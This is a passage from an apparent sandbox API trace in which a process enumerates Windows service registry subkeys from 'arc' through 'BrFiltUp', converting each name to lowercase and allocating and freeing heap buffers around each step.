RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.461] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.461] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.462] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.462] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.462] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1850, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0224.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.463] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.463] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.463] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.463] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0224.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.464] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.464] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.464] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0224.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.465] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0224.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0224.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.465] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0224.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0224.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.467] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.467] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.467] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.467] 